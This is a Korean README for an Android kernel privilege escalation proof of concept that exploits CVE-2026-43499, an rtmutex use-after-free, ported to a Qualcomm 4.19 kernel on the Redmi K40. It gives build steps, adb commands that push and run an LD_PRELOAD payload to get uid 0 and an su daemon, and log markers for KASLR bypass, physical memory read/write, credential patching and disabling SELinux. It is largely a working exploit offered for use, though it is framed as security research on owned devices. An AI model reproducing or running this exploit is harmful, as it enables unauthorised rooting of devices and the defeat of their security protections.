
Android 커널 LPE PoC로, 4.19 Qualcomm 커널의 rtmutex use-after-free인 CVE-2026-43499를 Redmi K40에 맞게 조정하고 LD_PRELOAD 루트 페이로드를 사용합니다.
CVE-2026-43499를 악용한 로컬 권한 상승 — rtmutex
remove_waiter() 버그로 인해 struct rt_mutex_waiter가 대기자의 커널 스택에
댕글링 포인터로 남게 된다 (kernel/locking/rtmutex.c, CWE-416 use-after-free).
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0)에서 Qualcomm Android 4.19.x
벤더 커널 제품군에 맞게 이식했다.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() 프록시 락 롤백이 remove_waiter()를 호출하는데,
이 함수가 waiter->task 대신 current를 대상으로 동작한다 — pi_lock 없이
rb-tree에서 제거되어 pi_blocked_on이 댕글링되고, 결과적으로 커널 스택 UAF가
발생한다. 5.10/5.15/6.1/6.6/6.12/6.18/7.0의 수정 버전까지 영향을 받으며,
4.19는 백포트가 없다 (EOL). 따라서 4.19.157-perf가 영향을 받는다.src/ 이식된 익스플로잇 소스 (preload.so)
src/targets/oplus-4.19.157-perf/target.h 기기별 오프셋 테이블 (kallsyms 기반)
prebuilt/ 컴파일된 산출물 (aarch64)
adaptation-4.19.patch 업스트림 Pixel (6.x) 코드 대비 전체 diff
Makefile, build.sh 빌드 진입점
configfs_read_file / configfs_write_bin_file이 .read/.write fops
슬롯에 배치되며 (4.19 시그니처), 읽기 프리미티브는 단순화된
count/page/ppos=0 가짜 버퍼 레이아웃을 사용한다/dev/ashmem)가 없다 — 접두사 길이 0selinux_blob_sizes가 없다 → 직접 cred->security 사용
(SELINUX_CRED_BLOB_OFF=0); struct seccomp에는 filter_count가 없다ASHMEM_MISC_FOPS = miscdevice.fops 슬롯 (ashmem_misc + 0x10)Android NDK가 있는 Linux / WSL:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # 또는: make PROJECT=oplus-4.19.157-perf
산출물: prebuilt/preload.so (LD_PRELOAD 페이로드) 및 내장된
su_daemon PIE.
ADB 셸이 필요하다 (일반적인 비권한 adb shell이면 충분하다 — 익스플로잇은
완전히 비권한으로 실행되며 스스로 권한을 상승시킨다).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
선택적 원라이너 변형:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
모든 pr_* 라인은 즉시 write()+fsync()로 디스크에 미러링되므로 커널
패닉/재부팅 후에도 흔적이 남는다:
/sdcard/Download/log_<timestamp>.txt
/sdcard를 사용할 수 없는 경우 대체 경로: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
주요 로그 마커:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — 페이로드 로드됨slide-kaslr-ok ... base=... — KASLR 베이스 복구됨pipe-physrw-summary ... root=1 ... — 물리 RW 설치됨uid_before=... uid_after=0 ... selinux=1->0 — creds 패치됨UNVERIFIED를 출력한다 — 이 단계가
이 로그를 사용해 기기별로 튜닝해야 하는 단계다.target.h에 표시되어 있으며 런타임에 UNVERIFIED로
로깅된다. fsync 로그를 사용해 기기에서 반복 조정하라.CONFIG_STATIC_USERMODEHELPER=y는 modprobe 경로 트릭을
비활성화한다. 주 경로는 직접 cred 패치다./proc/kallsyms)와 /proc/slabinfo를 통해
정확한 빌드에서 오프셋 정확성을 검증하라.Apache-2.0 (업스트림: NebuSec/CyberMeowfia). 보안 연구 및 승인된 기기 루팅 전용. 소유한 하드웨어에서만 사용하라.